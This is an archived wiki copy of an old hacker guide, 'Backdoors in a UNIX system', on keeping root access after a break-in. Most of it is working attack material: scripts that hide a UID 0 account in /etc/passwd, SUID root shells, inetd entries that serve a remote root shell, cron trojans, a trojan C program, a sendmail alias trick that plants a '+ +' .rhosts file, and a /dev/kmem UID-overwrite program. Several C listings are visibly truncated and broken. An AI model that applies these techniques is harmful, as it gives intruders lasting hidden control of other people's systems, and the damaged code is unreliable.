Please consider a donation to the Higher Intellect project. See or the Donate to Higher Intellect page for more info.

Difference between revisions of "Backdoors in a UNIX system"

From Higher Intellect Vintage Wiki
Jump to navigation Jump to search
(Created page with "<pre> Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight. The system *is* tight. You've tried ev...")
Line 474: Line 474:

Latest revision as of 01:42, 4 August 2020

Ok..... You've been at it for all night. Trying all the exploits you can
think of. The system seems tight. The system looks tight. The system *is*
tight. You've tried everything. Default passwds, guessable passwds, NIS
weaknesses, NFS holes, incorrect permissions, race conditions, SUID
exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#"
???? Finally! After seeming endless toiling, you've managed to steal root.
Now what? How do you hold onto this precious super-user privilege you have
worked so hard to achieve....?

This article is intended to show you how to hold onto root once you have it.
It is intended for hackers and administrators alike. From a hacking
perspective, it is obvious what good this paper will do you. Admin's can
likewise benefit from this paper. Ever wonder how that pesky hacker always
manages to pop up, even when you think you've completely eradicated him from
your system?
This list is BY NO MEANS comprehensive. There are as many ways to leave
backdoors into a UNIX computer as there are ways into one.



Know the location of critical system files. This should be obvious (If you
can't list any of the top of your head, stop reading now, get a book on
UNIX, read it, then come back to me...). Familiarity with passwd file
formats (including general 7 field format, system specific naming
conventions, shadowing mechanisms, etc...). Know vi. Many systems will not
have those robust, user-friendly editors such as Pico and Emacs. Vi is also
quite useful for needing to quickly seach and edit a large file. If you are
connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to
have a robust terminal program that has a nice, FAT scrollback buffer. This
will come in handy if you want to cut and paste code, rc files, shell
scripts, etc...

The permenance of these backdoors will depend completely on the technical
saavy of the administrator. The experienced and skilled administrator will
be wise to many (if not all) of these backdoors. But, if you have managed to
steal root, it is likely the admin isn't as skilled (or up to date on bug
reports) as she should be, and many of these doors may be in place for some
time to come. One major thing to be aware of, is the fact that if you can
cover you tracks during the initial break-in, no one will be looking for
back doors.


The Overt

[1] Add a UID 0 account to the passwd file. This is probably the most
obvious and quickly discovered method of rentry. It flies a red flag to the
admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO
NOT simply prepend or append it. Anyone causally examining the passwd file
will see this. So, why not stick it in the middle...

# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED.  Oh well.
# [email protected]

set linecount = `wc -l /etc/passwd`
cd                                      # Do this at home.
cp /etc/passwd ./temppass               # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1                     # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass         # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd                   # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...

NEVER, EVER, change the root password. The reasons are obvious.

[2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or,
perhaps, an account somwhere buried deep in the passwd file has been
abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the
'*' from the second field).

[3] Leave an SUID root shell in /tmp.

# Everyone's favorite...

cp /bin/csh /tmp/.evilnaughtyshell      # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell

Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp
upon a reboot. Many systems have /tmp mounted to disallow SUID programs from
executing. You can change all of these, but if the filesystem starts filling
up, people may notice...but, hey, this *is* the overt section....). I will
not detail the changes neccessary because they can be quite system specific.
Check out /var/spool/cron/crontabs/root and /etc/fstab.


The Veiled

[4] The super-server configuration file is not the first place a sysadmin
will look, so why not put one there? First, some background info: The
Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP
ports and spawns the appropriate program (usally a server) when a connection
request arrives. The format of the /etc/inetd.conf file is simple. Typical
lines look like this:

(1)     (2)     (3)     (4)     (5)     (6)             (7)
ftp     stream  tcp     nowait  root    /usr/etc/ftpd   ftpd
talk    dgram   udp     wait    root    /usr/etc/ntalkd ntalkd

Field (1) is the daemon name that should appear in /etc/services. This tells
inetd what to look for in /etc/services to determine which port it should
associate the program name with. (2) tells inetd which type of socket
connection the daemon will expect. TCP uses streams, and UDP uses datagrams.
Field (3) is the protocol field which is either of the two transport
protocols, TCP or UDP. Field (4) specifies whether or not the daemon is
iterative or concurrent. A 'wait' flag indicates that the server will
process a connection and make all subsequent connections wait. 'Nowait'
means the server will accept a connection, spawn a child process to handle
the connection, and then go back to sleep, waiting for further connections.
Field (5) is the user (or more inportantly, the UID) that the daemon is run
as. (6) is the program to run when a connection arrives, and (7) is the
actual command (and optional arguments). If the program is trivial (usally
requiring no user interaction) inetd may handle it internally. This is done
with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often,
and replace the daemon that would normally handle it with something else. A
program that creates an SUID root shell, a program that adds a root account
for you in the /etc/passwd file, etc...
For the insinuation-impaired, try this:

Open the /etc/inetd.conf in an available editor. Find the line that reads:

        daytime stream  tcp     nowait  root    internal

and change it to:

        daytime stream  tcp     nowait /bin/sh  sh -i.

You now need to restart /etc/inetd so it will reread the config file. It is
up to you how you want to do this. You can kill and restart the process,
(kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL
network connections (so it is a good idea to do this off peak hours).

[5] An option to compromising a well known service would be to install a new
one, that runs a program of your choice. One simple solution is to set up a
shell the runs similar to the above backdoor. You need to make sure the
entry appears in /etc/services as well as in /etc/inetd.conf. The format of
the /etc/services file is simple:

(1)       (2)/(3)          (4)
smtp      25/tcp           mail

Field (1) is the service, field (2) is the port number, (3) is the protocol
type the service expects, and (4) is the common name associated with the
service. For instance, add this line to /etc/services:

        evil    22/tcp          evil

and this line to /etc/inetd.conf:

        evil    stream  tcp     nowait  /bin/sh sh -i

Restart inetd as before.

Note: Potentially, these are a VERY powerful backdoors. They not only offer
local rentry from any account on the system, they offer rentry from *any*
account on *any* computer on the Internet.

[6] Cron-based trojan I. Cron is a wonderful system administration tool. It
is also a wonderful tool for backdoors, since root's crontab will, well, run
as root... Again, depending on the level of experience of the sysadmin (and
the implementation), this backdoor may or may not last.
/var/spool/cron/crontabs/root is where root's list for crontabs is usally
located. Here, you have several options. I will list a only few, as
cron-based backdoors are only limited by your imagination. Cron is the clock
daemon. It is a tool for automatically executing commands at specified dates
and times. Crontab is the command used to add, remove, or view your crontab
entries. It is just as easy to manually edit the /var/spool/crontab/root
file as it is to use crontab. A crontab entry has six fields:

(1)     (2)     (3)     (4)     (5)     (6)
 0       0       *       *       1       /usr/bin/updatedb

Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month
(1-31) month of the year (1-12), day of the week (0-6). Field (6) is the
command (or shell script) to execute. The above shell script is executed on
Mondays. To exploit cron, simply add an entry into /var/spool/crontab/root.
For example: You can have a cronjob that will run daily and look in the
/etc/passwd file for the UID 0 account we previously added, and add him if
he is missing, or do nothing otherwise (it may not be a bad idea to actually
*insert* this shell code into an already installed crontab entry shell
script, to further obfuscate your shady intentions). Add this line to

        0       0       *       *       *       /usr/bin/trojancode

This is the shell script:

# Is our eviluser still on the system?  Let's make sure he is.
#[email protected]

set evilflag = (`grep eviluser /etc/passwd`)

if($#evilflag == 0) then                        # Is he there?

        set linecount = `wc -l /etc/passwd`
        cd                                      # Do this at home.
        cp /etc/passwd ./temppass               # Safety first.
        @ linecount[1] /= 2
        @ linecount[1] += 1                     # we only want 2 temp files
        split -$linecount[1] ./temppass         # passwd string optional
        echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
        cat ./xab >> ./xaa
        mv ./xaa /etc/passwd
        chmod 644 /etc/passwd                   # or whatever it was beforehand
        rm ./xa* ./temppass
        echo Done...

[7] Cron-based trojan II. This one was brought to my attention by our very
own Mr. Zippy. For this, you need a copy of the /etc/passwd file hidden
somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we
have but one entry, a root account with a passwd of your choosing. We run a
cronjob that will, every morning at 2:30am (or every other morning), save a
copy of the real /etc/passwd file, and install this trojan one as the real
/etc/passwd file for one minute (synchronize swatches!). Any normal user or
process trying to login or access the /etc/passwd file would get an error,
but one minute later, everything would be ok. Add this line to root's
crontab file:

        29      2       *       *       *       /bin/usr/sneakysneaky_passwd

make sure this exists:

#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky

and this is the simple shell script:

# Install trojan /etc/passwd file for one minute
#[email protected]

cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd

[8] Compiled code trojan. Simple idea. Instead of a shell script, have some
nice C code to obfuscate the effects. Here it is. Make sure it runs as root.
Name it something innocous. Hide it well.

/* A little trojan to create an SUID root shell, if the proper argument is
given.  C code, rather than shell to hide obvious it's effects. */
/* [email protected] */


#define KEYWORD "industry3"
#define BUFFERSIZE 10

int main(argc, argv)
int argc;
char *argv[];{

        int i=0;

        if(argv[1]){            /* we've got an argument, is it the keyword? */


                                /* This is the trojan part. */
                        system("cp /bin/csh /bin/.swp121");
                        system("chown root /bin/.swp121");
                        system("chmod 4755 /bin/.swp121");
                                /* Put your possibly system specific trojan
                                   messages here */
                                /* Let's look like we're doing something... */
        printf("Sychronizing bitmap image records.");
        /* system("ls -alR / >& /dev/null > /dev/null&"); */
} /* End main */

[9] The sendmail aliases file. The sendmail aliases file allows for mail
sent to a particular username to either expand to several users, or perhaps
pipe the output to a program. Most well known of these is the uudecode alias
trojan. Simply add the line:

 "decode: "|/usr/bin/uudecode"

to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts
file with the full pathname embedded.

#! /bin/csh

# Create our .rhosts file.  Note this will output to stdout.

echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts

Next telnet to the desired site, port 25. Simply fakemail to decode and use
as the subject body, the uuencoded version of the .rhosts file. For a one
liner (not faked, however) do this:

%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail [email protected]

You can be as creative as you wish in this case. You can setup an alias
that, when mailed to, will run a program of your choosing. Many of the
previous scripts and methods can be employed here.


The Covert

[10] Trojan code in common programs. This is a rather sneaky method that is
really only detectable by programs such tripwire. The idea is simple: insert
trojan code in the source of a commonly used program. Some of most useful
programs to us in this case are su, login and passwd because they already
run SUID root, and need no permission modification. Below are some general
examples of what you would want to do, after obtaining the correct
sourcecode for the particular flavor of UNIX you are backdooring. (Note:
This may not always be possible, as some UNIX vendors are not so generous
with thier sourcecode.) Since the code is very lengthy and different for
many flavors, I will just include basic psuedo-code:

get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;

Not complex or difficult. Trojans of this nature can be done in less than 10
lines of additional code.


The Esoteric

[11] /dev/kmem exploit. It represents the virtual of the system. Since the
kernel keeps it's parameters in memory, it is possible to modify the memory
of the machine to change the UID of your processes. To do so requires that
/dev/kmem have read/write permission. The following steps are executed: Open
the /dev/kmem device, seek to your page in memory, overwrite the UID of your
current process, then spawn a csh, which will inherit this UID. The
following program does just that.

/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0.  */
/* This code originally appeared in "UNIX security:  A practical tutorial"
with some modifications by [email protected] */


#define KEYWORD "nomenclature1"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

        int count, fd;
        long where, lseek();

        if(argv[1]){            /* we've got an argument, is it the keyword? */

                                printf("Cannot read or write to /dev/kmem\n");


                                printf("Cannot seek to user page\n");

                        count=read(fd,&userpage,sizeof(struct user));

                        if(count!=sizeof(struct user)){
                                printf("Cannot read user page\n");

                        printf("Current UID: %d\n",userpage.u_ruid);
                        printf("Current GID: %d\n",userpage.g_ruid);



                                printf("Cannot seek to user page\n");

                        write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));

                        execle("/bin/csh","/bin/csh","-i",(char *)0, envp);

} /* End main */


#define LNULL ((LDFILE *)0)

long address(){

        LDFILE *object;
        SYMENT symbol;
        long idx=0;


                fprintf(stderr,"Cannot open /unix.\n");

                        fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);

        fprintf(stderr,"Cannot read symbol table in /unix.\n");

[12] Since the previous code requires /dev/kmem to be world accessable, and
this is not likely a natural event, we need to take care of this. My advice
is to write a shell script similar to the one in [7] that will change the
permissions on /dev/kmem for a discrete amount of time (say 5 minutes) and
then restore the original permissions. You can add this source to the source
in [7]:

chmod 666 /dev/kmem
sleep 300               # Nap for 5 minutes
chmod 600 /dev/kmem     # Or whatever it was before